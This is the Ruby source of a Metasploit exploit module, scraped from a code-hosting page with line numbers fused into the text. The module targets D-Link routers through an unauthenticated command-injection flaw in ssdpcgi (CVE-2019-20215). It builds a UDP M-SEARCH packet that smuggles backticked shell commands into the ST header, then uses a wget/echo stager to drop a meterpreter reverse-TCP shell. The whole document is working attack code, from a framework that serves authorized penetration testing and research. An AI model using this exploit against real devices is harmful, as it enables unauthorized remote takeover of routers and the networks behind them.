Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::CmdStager10include Msf::Module::Deprecated1112deprecated(Date.new(2024, 12, 1), 'Use `exploit/linux/upnp/dlink_upnp_msearch_exec` instead')1314def initialize(info = {})15super(update_info(info,16'Name' => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',17'Description' => %q{18D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.19},20'Author' =>21[22's1kr10s',23'secenv'24],25'License' => MSF_LICENSE,26'References' =>27[28['CVE', '2019-20215'],29['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']30],31'DisclosureDate' => '2019-12-24',32'Privileged' => true,33'Platform' => 'linux',34'Arch' => ARCH_MIPSBE,35'DefaultOptions' =>36{37'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',38'CMDSTAGER::FLAVOR' => 'wget',39'RPORT' => '1900'40},41'Targets' =>42[43[ 'Auto', { } ],44],45'CmdStagerFlavor' => %w{ echo wget },46'DefaultTarget' => 047))4849register_options(50[51Msf::OptEnum.new('VECTOR',[true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])52])53end5455def exploit56execute_cmdstager(linemax: 1500)57end5859def execute_command(cmd, opts)60type = datastore['VECTOR']61if type == "URN"62print_status("Target Payload URN")63val = "urn:device:1;`#{cmd}`"64else65print_status("Target Payload UUID")66val = "uuid:`#{cmd}`"67end6869connect_udp70header = "M-SEARCH * HTTP/1.1\r\n"71header << "Host:239.255.255.250: " + datastore['RPORT'].to_s + "\r\n"72header << "ST:#{val}\r\n"73header << "Man:\"ssdp:discover\"\r\n"74header << "MX:2\r\n\r\n"75udp_sock.put(header)76disconnect_udp77end78end798081